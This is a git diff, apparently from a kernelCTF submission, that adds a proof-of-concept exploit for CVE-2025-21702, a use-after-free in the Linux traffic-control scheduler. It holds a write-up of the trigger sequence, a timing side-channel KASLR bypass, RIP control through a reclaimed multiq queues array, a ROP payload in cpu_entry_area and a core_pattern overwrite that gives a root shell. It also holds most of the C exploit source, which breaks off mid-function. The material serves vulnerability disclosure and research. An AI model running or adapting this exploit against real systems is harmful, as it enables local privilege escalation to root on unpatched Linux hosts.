diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/exploit.md new file mode 100644 index 000000000..789f8f1f8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/exploit.md @@ -0,0 +1,175 @@ +# Overview + +A vulnerability occurs when `sch->limit` is set to 0 in `pfifo_tail_enqueue()`[1]. If `sch->limit` is 0, `__qdisc_queue_drop_head()` does not decrease the qlen when dropping a packet [2]. Subsequently, `qdisc_enqueue_tail()` increases the qlen [3], resulting in qlen imbalance between the pfifo and the parent qdisc. + +```c +static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch, + struct sk_buff **to_free) +{ + unsigned int prev_backlog; + + if (likely(sch->q.qlen < sch->limit)) // [1] + return qdisc_enqueue_tail(skb, sch); + + prev_backlog = sch->qstats.backlog; + /* queue full, remove one skb to fulfill the limit */ + __qdisc_queue_drop_head(sch, &sch->q, to_free); // [2] + qdisc_qstats_drop(sch); + qdisc_enqueue_tail(skb, sch); // [3] + + qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog); + return NET_XMIT_CN; +} +``` + +We can trigger the UAF as follows. + +- Create a Qdisc DRR `1:` +- Create a Class DRR `1:1` +- Create a Qdisc DRR `2:` as a child of `1:1` +- Create a Class DRR `2:1` +- Create a Class DRR `2:2` +- Create a Qdisc PFIFO `3:` as a child of `2:1` +- Create a Qdisc NetEM `4:` as a child of `2:2` + +- Send a packet to `3:` + +- Delete the Class DRR `2:1` + +- Send a packet to `4:` + +- Delete the Class DRR `1:1` + +- Send a packet to trigger the UAF + +# KASLR Bypass + +We used a timing side channel attack to leak the kernel base. + +# RIP Control + +For mitigation kernel, we use multiq Qdisc to bypass mitigations. We allocate the multiq Qdisc to `cl->qdisc`. + +```c +static int multiq_init(struct Qdisc *sch, struct nlattr *opt, + struct netlink_ext_ack *extack) +{ + struct multiq_sched_data *q = qdisc_priv(sch); + int i, err; + + q->queues = NULL; + + if (!opt) + return -EINVAL; + + err = tcf_block_get(&q->block, &q->filter_list, sch, extack); + if (err) + return err; + + q->max_bands = qdisc_dev(sch)->num_tx_queues; + + q->queues = kcalloc(q->max_bands, sizeof(struct Qdisc *), GFP_KERNEL); // [4] + if (!q->queues) + return -ENOBUFS; + for (i = 0; i < q->max_bands; i++) + q->queues[i] = &noop_qdisc; + + return multiq_tune(sch, opt, extack); +} +``` + +When initializing the multiq Qdisc, `q->queues` is allocated in `multiq_init()` [4]. At this point, the object size can be controlled to be `q->max_bands*sizeof(struct Qdisc *)`. Since `q->max_bands` is a user-controllable value, an object of any desired size can be allocated. To bypass mitigation, allocate an object larger than `0x2000`, which uses the page allocator. Then, delete the multiq Qdisc and allocate the `ctl_buf` objects into the freed `q->queues`. + +```c +static struct sk_buff *multiq_peek(struct Qdisc *sch) +{ + struct multiq_sched_data *q = qdisc_priv(sch); + unsigned int curband = q->curband; + struct Qdisc *qdisc; + struct sk_buff *skb; + int band; + + for (band = 0; band < q->bands; band++) { + /* cycle through bands to ensure fairness */ + curband++; + if (curband >= q->bands) + curband = 0; + + /* Check that target subqueue is available before + * pulling an skb to avoid head-of-line blocking. + */ + if (!netif_xmit_stopped( + netdev_get_tx_queue(qdisc_dev(sch), curband))) { + qdisc = q->queues[curband]; + skb = qdisc->ops->peek(qdisc); // [5] + if (skb) + return skb; + } + } + return NULL; + +} +``` + +Next, when a packet is sent, `multiq_peek()` is called from `drr_dequeue()`. It then references `q->queues` and calls `qdisc->ops->peek()` [5]. Using `ctl_buf`, it overwrites `q->queues[]` with the address of the `cpu_entry_area`. As a result, `qdisc->ops` can also be set to an address within `cpu_entry_area`, and finally, the RIP can be controlled. + +# Post-RIP + +For the mitigation kernel, the payload is stored in the `cpu_entry_area` as follows. + +```c +// Fill the CPU entry area exception stack of HELPER_CPU with a +// struct cpu_entry_area_payload +static void setup_cpu_entry_area() { + if (fork()) { + return; + } + + struct cpu_entry_area_payload payload = {}; + + payload.regs[0] = kbase + QDISC_RESET; // multiq->ops->peek + payload.regs[1] = kbase + POP_POP_RET; + payload.regs[2] = kbase + PUSH_RBX_POP_RSP_RBP_RET; // multiq->ops->reset + payload.regs[3] = PAYLOAD_LOCATION(1) - PEEK_OFF ; // fake ops + payload.regs[4] = kbase + POP_RDI_POP_RSI_POP_RDX_POP_RET; + payload.regs[5] = kbase + CORE_PATTERN; + payload.regs[6] = MMAP_ADDR; + payload.regs[7] = strlen((char*)MMAP_ADDR); + payload.regs[8] = 0; + payload.regs[9] = kbase + COPY_FROM_USER; + payload.regs[10] = kbase + MSLEEP; + + set_affinity(1); + signal(SIGFPE, sig_handler); + signal(SIGTRAP, sig_handler); + signal(SIGSEGV, sig_handler); + setsid(); + + while(1){ + write_cpu_entry_area(&payload); + usleep(10000); + } +} +``` + +When RIP is controlled, `qdisc_reset()` is called first. + +```c +void qdisc_reset(struct Qdisc *qdisc) +{ + const struct Qdisc_ops *ops = qdisc->ops; + + trace_qdisc_reset(qdisc); + + if (ops->reset) + ops->reset(qdisc); // [6] + + __skb_queue_purge(&qdisc->gso_skb); + __skb_queue_purge(&qdisc->skb_bad_txq); + + qdisc->q.qlen = 0; + qdisc->qstats.backlog = 0; +} +``` + +In `qdisc_reset()`, `ops->reset()` is called with the address of the `cpu_entry_area` in the `RBX` register [6]. Therefore, ROP can be performed by modifying `ops->reset()` into a stack pivot gadget. The `core_pattern` overwrite technique is used to gain root shell access. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..39ebca4de --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilities: CAP_NET_ADMIN, CAP_NET_RAW + - Kernel configuration: CONFIG_NET_SCHED + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=57dbb2d83d10 (sched: add head drop fifo queue) +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=647cef20e649c576dff271e018d5d15d998b629d (pfifo_tail_enqueue: Drop new packet when sch->limit == 0) +- Affected Version: v2.6.34 - v6.14-rc1 +- Affected Component: net/sched +- Cause: Use-After-Free +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2025-21702 +- Description: In the Linux kernel, the following vulnerability has been resolved: pfifo_tail_enqueue: Drop new packet when sch->limit == 0 Expected behaviour: In case we reach scheduler's limit, pfifo_tail_enqueue() will drop a packet in scheduler's queue and decrease scheduler's qlen by one. Then, pfifo_tail_enqueue() enqueue new packet and increase scheduler's qlen by one. Finally, pfifo_tail_enqueue() return `NET_XMIT_CN` status code. Weird behaviour: In case we set `sch->limit == 0` and trigger pfifo_tail_enqueue() on a scheduler that has no packet, the 'drop a packet' step will do nothing. This means the scheduler's qlen still has value equal 0. Then, we continue to enqueue new packet and increase scheduler's qlen by one. In summary, we can leverage pfifo_tail_enqueue() to increase qlen by one and return `NET_XMIT_CN` status code. The problem is: Let's say we have two qdiscs: Qdisc_A and Qdisc_B. - Qdisc_A's type must have '->graft()' function to create parent/child relationship. Let's say Qdisc_A's type is `hfsc`. Enqueue packet to this qdisc will trigger `hfsc_enqueue`. - Qdisc_B's type is pfifo_head_drop. Enqueue packet to this qdisc will trigger `pfifo_tail_enqueue`. - Qdisc_B is configured to have `sch->limit == 0`. - Qdisc_A is configured to route the enqueued's packet to Qdisc_B. Enqueue packet through Qdisc_A will lead to: - hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_B) - Qdisc_B->q.qlen += 1 - pfifo_tail_enqueue() return `NET_XMIT_CN` - hfsc_enqueue() check for `NET_XMIT_SUCCESS` and see `NET_XMIT_CN` => hfsc_enqueue() don't increase qlen of Qdisc_A. The whole process lead to a situation where Qdisc_A->q.qlen == 0 and Qdisc_B->q.qlen == 1. Replace 'hfsc' with other type (for example: 'drr') still lead to the same problem. This violate the design where parent's qlen should equal to the sum of its childrens'qlen. Bug impact: This issue can be used for user->kernel privilege escalation when it is reachable. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/Makefile new file mode 100644 index 000000000..00b0521c3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/Makefile @@ -0,0 +1,5 @@ +exploit: + gcc -o exploit ./exploit.c -lkeyutils -static + +prerequisites: + sudo apt-get install libkeyutils-dev \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit new file mode 100755 index 000000000..02faefa00 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c new file mode 100644 index 000000000..a0221ebb2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-21702_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c @@ -0,0 +1,1193 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#include + +uint64_t kbase = 0xffffffff81000000; + +#define MMAP_ADDR 0xa00000 +#define MMAP_SIZE 0x2000 + +// KASLR bypass +// +// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h +// +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (p)); +} + +size_t flushandreload(void* addr) // row miss +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0])) + +size_t bypass_kaslr(uint64_t base) +{ + if (!base) + { +#ifdef KASLR_BYPASS_INTEL +#define OFFSET 0 +#define START (0xffffffff81000000ull + OFFSET) +#define END (0xffffffffD0000000ull + OFFSET) +#define STEP 0x0000000001000000ull + while (1) + { + uint64_t bases[7] = {0}; + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START + STEP * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + size_t minv = ~0; + size_t mini = -1; + for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) + { + if (times[ti] < minv) + { + mini = ti; + minv = times[ti]; + } + } + + if (mini < 0) + { + return -1; + } + + bases[vote] = addrs[mini]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + base -= OFFSET; + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } +#else +#define START (0xffffffff81000000ull) +#define END (0xffffffffc0000000ull) +#define STEP 0x0000000000200000ull +#define NUM_TRIALS 15 +// largest contiguous mapped area at the beginning of _stext +#define WINDOW_SIZE 11 + + while (1) + { + uint64_t bases[NUM_TRIALS] = {0}; + + for (int vote = 0; vote < ARRAY_LEN(bases); vote++) + { + size_t times[(END - START) / STEP] = {}; + uint64_t addrs[(END - START) / STEP]; + + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + times[ti] = ~0; + addrs[ti] = START + STEP * (uint64_t)ti; + } + + for (int i = 0; i < 16; i++) + { + for (int ti = 0; ti < ARRAY_LEN(times); ti++) + { + uint64_t addr = addrs[ti]; + size_t t = flushandreload((void *)addr); + if (t < times[ti]) + { + times[ti] = t; + } + } + } + + uint64_t max = 0; + int max_i = 0; + for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) + { + uint64_t sum = 0; + for (int i = 0; i < WINDOW_SIZE; i++) + { + sum += times[ti + i]; + } + if (sum > max) + { + max = sum; + max_i = ti; + } + } + + bases[vote] = addrs[max_i]; + } + + int c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (c == 0) + { + base = bases[i]; + } + else if (base == bases[i]) + { + c++; + } + else + { + c--; + } + } + + c = 0; + for (int i = 0; i < ARRAY_LEN(bases); i++) + { + if (base == bases[i]) + { + c++; + } + } + if (c > ARRAY_LEN(bases) / 2) + { + if ((base % 0x1000000) == 0) + goto got_base; + } + + printf("majority vote failed:\n"); + printf("base = %llx with %d votes\n", base, c); + } +#endif + } + +got_base: + + printf("using kernel base %llx\n", base); + + kbase = base; + + return 0; +} + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0600); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); +} + +void set_affinity(int cpuid){ + cpu_set_t my_set; + int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (cpu_cores == 1) return; + + CPU_ZERO(&my_set); + + CPU_SET(cpuid, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +#define NETLINK_BUFSIZE 4096 + +int ip_link_lo_up() { + struct { + struct nlmsghdr nlh; + struct ifinfomsg ifinfo; + char buffer[NETLINK_BUFSIZE]; + } req; + + struct sockaddr_nl sa; + struct iovec iov; + struct msghdr msg; + int sock; + int lo_ifindex; + + sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) { + perror("socket"); + return -1; + } + + lo_ifindex = if_nametoindex("lo"); + if (lo_ifindex == 0) { + perror("if_nametoindex"); + close(sock); + return -1; + } + + memset(&req, 0, sizeof(req)); + req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nlh.nlmsg_type = RTM_NEWLINK; + req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req.ifinfo.ifi_family = AF_UNSPEC; + req.ifinfo.ifi_index = lo_ifindex; + req.ifinfo.ifi_change = 0xFFFFFFFF; + req.ifinfo.ifi_flags = IFF_UP | IFF_RUNNING; + + memset(&sa, 0, sizeof(sa)); + sa.nl_family = AF_NETLINK; + + iov.iov_base = &req; + iov.iov_len = req.nlh.nlmsg_len; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = &sa; + msg.msg_namelen = sizeof(sa); + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + + if (sendmsg(sock, &msg, 0) < 0) { + perror("sendmsg"); + close(sock); + return -1; + } + + close(sock); + return 0; +} + +#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0) + +#define NLMSG_TAIL(nmsg) \ +((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) + +int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, + int alen) { + int len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen); + return -1; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + + if (alen) + memcpy(RTA_DATA(rta), data, alen); + + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); + return 0; +} + +struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { + struct rtattr *nest = NLMSG_TAIL(n); + + addattr_l(n, maxlen, type, NULL, 0); + return nest; +} + +int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { + nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; + return n->nlmsg_len; +} + +int add_veth_link(const char *name, const char *peer_name, int num_rx_queues, int num_tx_queues) { + int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (fd < 0) { + perror("socket"); + return -1; + } + + char *start = malloc(NETLINK_BUFSIZE); + memset(start, 0, NETLINK_BUFSIZE); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + // Netlink message header + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + msg->nlmsg_type = RTM_NEWLINK; + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL; + + struct ifinfomsg *ifi = (struct ifinfomsg *)(start + sizeof(struct nlmsghdr)); + ifi->ifi_family = AF_UNSPEC; + + // Interface name attribute + addattr_l(msg, NETLINK_BUFSIZE, IFLA_IFNAME, name, strlen(name) + 1); + + // Device type (veth) + struct rtattr *linkinfo = addattr_nest(msg, NETLINK_BUFSIZE, IFLA_LINKINFO); + addattr_l(msg, NETLINK_BUFSIZE, IFLA_INFO_KIND, "veth", strlen("veth") + 1); + + // Link info data for peer + struct rtattr *linkdata = addattr_nest(msg, NETLINK_BUFSIZE, IFLA_INFO_DATA); + struct rtattr *peer = addattr_nest(msg, NETLINK_BUFSIZE, VETH_INFO_PEER); + + // Peer attributes + struct ifinfomsg peer_ifi = { .ifi_family = AF_UNSPEC }; + addattr_l(msg, NETLINK_BUFSIZE, IFLA_IFNAME, peer_name, strlen(peer_name) + 1); + memcpy(((char *)msg) + NLMSG_ALIGN(msg->nlmsg_len), &peer_ifi, sizeof(peer_ifi)); + msg->nlmsg_len += NLMSG_ALIGN(sizeof(peer_ifi)); + + addattr_nest_end(msg, peer); + addattr_nest_end(msg, linkdata); + addattr_nest_end(msg, linkinfo); + + // RX and TX queues + addattr_l(msg, NETLINK_BUFSIZE, IFLA_NUM_RX_QUEUES, &num_rx_queues, sizeof(num_rx_queues)); + addattr_l(msg, NETLINK_BUFSIZE, IFLA_NUM_TX_QUEUES, &num_tx_queues, sizeof(num_tx_queues)); + + // Send Netlink message + struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; + struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + if (sendmsg(fd, &msgh, 0) < 0) { + perror("sendmsg"); + free(start); + return -1; + } + + free(start); + close(fd); + + return 0; +} + +int add_qdisc_drr(int fd, uint32_t parent, uint32_t handle) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "drr", 4); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int add_qdisc_hfsc(int fd, uint32_t parent, uint32_t handle) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL; + msg->nlmsg_type = RTM_NEWQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + addattr_l(msg, 0x1000, TCA_KIND, "hfsc", strlen("hfsc") + 1); + + struct tc_hfsc_qopt opt = {0,}; + + opt.defcls = 1; + + addattr_l(msg, 0x1000, TCA_OPTIONS, &opt, sizeof(struct tc_hfsc_qopt)); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int add_qdisc_pfifo_head_drop(int fd, uint32_t parent, uint32_t handle) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + struct tc_fifo_qopt opt = {0,}; + + opt.limit = 0; + + addattr_l(msg, 0x1000, TCA_KIND, "pfifo_head_drop", strlen("pfifo_head_drop") + 1); + addattr_l(msg, 0x1000, TCA_OPTIONS, &opt, sizeof(struct tc_fifo_qopt)); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int add_qdisc_netem(int fd, uint32_t parent, uint32_t handle, int64_t latency) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "netem", 6); + + struct tc_netem_qopt opt = {0,}; + + opt.latency = latency; + opt.limit = 1000; + + addattr_l(msg, 0x1000, TCA_OPTIONS, &opt, sizeof(struct tc_netem_qopt)); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int add_qdisc_multiq(int fd) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 9; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = TC_H_ROOT; + + uint32_t prio = 1; + uint32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + uint32_t handle = 0x1000; + + addattr_l(msg, 0x1000, TCA_KIND, "multiq", 7); + + char data[0x10] = {0,}; + + addattr_l(msg, 0x1000, TCA_OPTIONS, data, 8); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + return sendmsg(fd, &msgh, 0); +} + +int del_qdisc_multiq(int fd) { + char *start = malloc(0x1000); + memset(start, 0, 0x1000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST; + msg->nlmsg_type = RTM_DELQDISC; + + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 9; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = TC_H_ROOT; + + uint32_t prio = 1; + uint32_t protocol = 1; + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + uint32_t handle = 0x1000; + + addattr_l(msg, 0x1000, TCA_KIND, "multiq", 7); + + char data[0x10] = {0,}; + + addattr_l(msg, 0x1000, TCA_OPTIONS, data, 8); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + return sendmsg(fd, &msgh, 0); +} + +int add_class_drr(int fd, uint32_t parent, uint32_t handle) { + char *start = malloc(0x2000); + memset(start, 0, 0x2000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWTCLASS; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "drr", 4); + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); + addattr_nest_end(msg, tail); + + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len}; + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + struct msghdr msgh = { + .msg_name = &nladdr, + .msg_namelen = sizeof(nladdr), + .msg_iov = &iov, + .msg_iovlen = 1, + }; + + sendmsg(fd, &msgh, 0); + + free(start); + + return 1; +} + +int add_class_hfsc(int fd, uint32_t parent, uint32_t handle) { + char *start = malloc(0x2000); + memset(start, 0, 0x2000); + struct nlmsghdr *msg = (struct nlmsghdr *)start; + + msg = msg + msg->nlmsg_len; + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; + msg->nlmsg_type = RTM_NEWTCLASS; + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); + + t->tcm_ifindex = 1; + t->tcm_family = AF_UNSPEC; + t->tcm_parent = parent; + t->tcm_handle = handle; + + uint32_t prio = 1; + uint32_t protocol = 1; + + t->tcm_info = TC_H_MAKE(prio << 16, protocol); + + addattr_l(msg, 0x1000, TCA_KIND, "hfsc", 5); + struct rtattr *tail = addattr_nest(msg, 0x1000, 